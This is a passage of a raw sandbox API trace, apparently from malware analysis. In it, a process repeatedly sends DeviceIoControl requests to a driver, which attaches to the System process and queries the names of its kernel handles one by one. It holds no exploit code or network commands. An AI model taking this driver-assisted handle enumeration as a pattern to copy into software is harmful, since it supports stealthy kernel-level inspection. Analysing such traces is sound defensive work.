Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xb8, lpOverlapped=0x0) returned 1 [0089.161] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.161] PsAcquireProcessExitSynchronization () returned 0x0 [0089.161] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.161] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f1d050, HandleInformation=0x0) returned 0x0 [0089.161] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.161] PsReleaseProcessExitSynchronization () returned 0x2 [0089.161] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.161] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a26044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a26044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.161] ObfDereferenceObject (Object=0xfffffa8002f1d050) returned 0x21 [0089.161] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.161] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.161] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.162] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0089.162] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.162] PsAcquireProcessExitSynchronization () returned 0x0 [0089.162] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.162] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800282f560, HandleInformation=0x0) returned 0x0 [0089.162] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.162] PsReleaseProcessExitSynchronization () returned 0x2 [0089.162] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.162] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.162] ObfDereferenceObject (Object=0xfffffa800282f560) returned 0x1 [0089.162] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.162] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.162] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.162] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0089.162] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.162] PsAcquireProcessExitSynchronization () returned 0x0 [0089.162] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.162] ObReferenceObjectByHandle (in: Handle=0xffffffff800001fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002fef2b0, HandleInformation=0x0) returned 0x0 [0089.162] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.162] PsReleaseProcessExitSynchronization () returned 0x2 [0089.162] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.162] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a70044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a70044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.162] ObfDereferenceObject (Object=0xfffffa8002fef2b0) returned 0x1 [0089.162] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.162] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.162] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.162] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0089.162] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.162] PsAcquireProcessExitSynchronization () returned 0x0 [0089.162] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.162] ObReferenceObjectByHandle (in: Handle=0xffffffff80000200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002ee1d40, HandleInformation=0x0) returned 0x0 [0089.162] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.162] PsReleaseProcessExitSynchronization () returned 0x2 [0089.162] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.162] ObQueryNameString (in: Object=0xfffffa8002ee1d40, ObjectNameInfo=0xfffffa8003a71044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a71044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.163] ObfDereferenceObject (Object=0xfffffa8002ee1d40) returned 0x1 [0089.163] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.163] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.163] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0089.163] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.163] PsAcquireProcessExitSynchronization () returned 0x0 [0089.163] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.163] ObReferenceObjectByHandle (in: Handle=0xffffffff80000204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002ee4f20, HandleInformation=0x0) returned 0x0 [0089.163] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.163] PsReleaseProcessExitSynchronization () returned 0x2 [0089.163] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.163] ObQueryNameString (in: Object=0xfffffa8002ee4f20, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.163] ObfDereferenceObject (Object=0xfffffa8002ee4f20) returned 0x1 [0089.163] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.163] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.163] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0089.163] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.163] PsAcquireProcessExitSynchronization () returned 0x0 [0089.163] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.163] ObReferenceObjectByHandle (in: Handle=0xffffffff80000210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002ff1610, HandleInformation=0x0) returned 0x0 [0089.163] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.163] PsReleaseProcessExitSynchronization () returned 0x2 [0089.163] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.163] ObQueryNameString (in: Object=0xfffffa8002ff1610, ObjectNameInfo=0xfffffa8003a73044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a73044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.163] ObfDereferenceObject (Object=0xfffffa8002ff1610) returned 0x1 [0089.164] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.164] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.164] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0089.164] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.164] PsAcquireProcessExitSynchronization () returned 0x0 [0089.164] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.164] ObReferenceObjectByHandle (in: Handle=0xffffffff80000214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002eee850, HandleInformation=0x0) returned 0x0 [0089.164] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.164] PsReleaseProcessExitSynchronization () returned 0x2 [0089.164] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.164] ObQueryNameString (in: Object=0xfffffa8002eee850, ObjectNameInfo=0xfffffa8003a74044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a74044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.164] ObfDereferenceObject (Object=0xfffffa8002eee850) returned 0x1 [0089.164] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.164] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.164] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0089.164] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.164] PsAcquireProcessExitSynchronization () returned 0x0 [0089.164] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.164] ObReferenceObjectByHandle (in: Handle=0xffffffff80000218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002ff3570, HandleInformation=0x0) returned 0x0 [0089.164] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.164] PsReleaseProcessExitSynchronization () returned 0x2 [0089.164] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.164] ObQueryNameString (in: Object=0xfffffa8002ff3570, ObjectNameInfo=0xfffffa8003a76044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a76044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.164] ObfDereferenceObject (Object=0xfffffa8002ff3570) returned 0x11 [0089.164] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.164] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.164] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.165] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0089.165] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.165] PsAcquireProcessExitSynchronization () returned 0x0 [0089.165] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.165] ObReferenceObjectByHandle (in: Handle=0xffffffff80000264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8009f01960, HandleInformation=0x0) returned 0x0 [0089.165] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.165] PsReleaseProcessExitSynchronization () returned 0x2 [0089.165] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.165] ObQueryNameString (in: Object=0xfffffa8009f01960, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.165] ObfDereferenceObject (Object=0xfffffa8009f01960) returned 0x1 [0089.165] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.165] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.165] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.165] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0089.165] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.165] PsAcquireProcessExitSynchronization () returned 0x0 [0089.165] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.165] ObReferenceObjectByHandle (in: Handle=0xffffffff80000274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800308a050, HandleInformation=0x0) returned 0x0 [0089.165] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.165] PsReleaseProcessExitSynchronization () returned 0x2 [0089.165] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.165] ObQueryNameString (in: Object=0xfffffa800308a050, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.165] ObfDereferenceObject (Object=0xfffffa800308a050) returned 0x1 [0089.165] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.165] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.165] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.165] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0089.165] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.165] PsAcquireProcessExitSynchronization () returned 0x0 [0089.166] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.166] ObReferenceObjectByHandle (in: Handle=0xffffffff8000027c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8009f01640, HandleInformation=0x0) returned 0x0 [0089.166] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.166] PsReleaseProcessExitSynchronization () returned 0x2 [0089.166] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.166] ObQueryNameString (in: Object=0xfffffa8009f01640, ObjectNameInfo=0xfffffa8003a79044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a79044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.166] ObfDereferenceObject (Object=0xfffffa8009f01640) returned 0x1 [0089.166] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.166] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.166] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.166] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0089.166] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.166] PsAcquireProcessExitSynchronization () returned 0x0 [0089.166] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.166] ObReferenceObjectByHandle (in: Handle=0xffffffff80000280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8009f01320, HandleInformation=0x0) returned 0x0 [0089.166] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.166] PsReleaseProcessExitSynchronization () returned 0x2 [0089.166] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.166] ObQueryNameString (in: Object=0xfffffa8009f01320, ObjectNameInfo=0xfffffa8003a7a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7a044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.166] ObfDereferenceObject (Object=0xfffffa8009f01320) returned 0x1 [0089.166] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.166] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.166] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.166] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0089.166] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.166] PsAcquireProcessExitSynchronization () returned 0x0 [0089.166] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.166] ObReferenceObjectByHandle (in: Handle=0xffffffff80000284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030a9e50, HandleInformation=0x0) returned 0x0 [0089.166] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.167] PsReleaseProcessExitSynchronization () returned 0x2 [0089.167] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.167] ObQueryNameString (in: Object=0xfffffa80030a9e50, ObjectNameInfo=0xfffffa8003a7b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.167] ObfDereferenceObject (Object=0xfffffa80030a9e50) returned 0x1 [0089.167] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.167] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.167] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0089.167] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.167] PsAcquireProcessExitSynchronization () returned 0x0 [0089.167] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.167] ObReferenceObjectByHandle (in: Handle=0xffffffff80000294, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800308c170, HandleInformation=0x0) returned 0x0 [0089.167] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.167] PsReleaseProcessExitSynchronization () returned 0x2 [0089.167] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.167] ObQueryNameString (in: Object=0xfffffa800308c170, ObjectNameInfo=0xfffffa8003a7c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7c044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.167] ObfDereferenceObject (Object=0xfffffa800308c170) returned 0x1 [0089.167] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.167] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.167] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0089.167] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.167] PsAcquireProcessExitSynchronization () returned 0x0 [0089.167] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.167] ObReferenceObjectByHandle (in: Handle=0xffffffff80000298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030a9050, HandleInformation=0x0) returned 0x0 [0089.167] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.167] PsReleaseProcessExitSynchronization () returned 0x2 [0089.167] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.167] ObQueryNameString (in: Object=0xfffffa80030a9050, ObjectNameInfo=0xfffffa8003a7d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.167] ObfDereferenceObject (Object=0xfffffa80030a9050) returned 0x1 [0089.168] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.168] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.168] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.168] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0089.168] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.168] PsAcquireProcessExitSynchronization () returned 0x0 [0089.168] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.168] ObReferenceObjectByHandle (in: Handle=0xffffffff8000029c, DesiredAccess=0x0, 